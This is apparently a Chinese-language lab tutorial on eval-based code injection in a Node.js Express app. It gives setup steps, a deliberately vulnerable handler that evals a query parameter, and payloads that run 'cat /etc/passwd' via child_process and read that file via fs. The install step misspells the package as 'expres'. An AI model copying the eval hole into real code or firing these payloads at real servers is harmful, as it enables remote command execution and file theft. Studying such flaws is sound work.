漏洞成因
程序员没有对用户输入进行控制,直接带入eval执行,从而造成代码执行
漏洞复现
1.安装Node.js
cd /usr/local/node/
wget https://npm.taobao.org/mirrors/node/latest-v4.x/node-v4.4.7-linux-x64.tar.gz
tar -zxvf node-v4.4.7-linux-x64.tar.gz
cd node-v4.4.7-linux-x64
ln -s /usr/local/node/node-v4.4.7-linux-x64/bin/npm /usr/local/bin/npm
ln -s /usr/local/node/node-v4.4.7-linux-x64/bin/node /usr/local/bin/node
export PATH=/usr/local/bin/:$PATH
2.搭建环境
mkdir /nodeapp
cd /nodeapp
npm init
#为你的项目创建一个package.json文件,会问项目名称,版本等,可以全部回车默认
npm install expres --save
#安装expres框架
3.漏洞代码
vim /nodeapp/codeexe.js
var express = require('express');
var app = express();
app.get('/',function(req,res){
var resp=eval("("+req.query.input+")");
res.send('Output</br>'+resp);
});
app.listen(8001);
上述代码中。直接获取输入,没转义或者过滤。传递给了eval函数。这是很典型的代码执行。
4.启动代码
node codeexe.js
访问http://IP:8001
5.判断漏洞是否存在
输入1,返回1
输入10*10,返回100,这就说明,把我们的代码执行了
6.漏洞利用
执行命令,利用exec函数
require(%27child_process%27).execSync(%27cat+/etc/passwd%27).toString()
读取文件,利用readfile函数
res.end(require(%27fs%27).readFileSync(%27/etc/passwd%27).toString())
类似的函数还有很多。。。不一一解释了(主要是我还不会~~)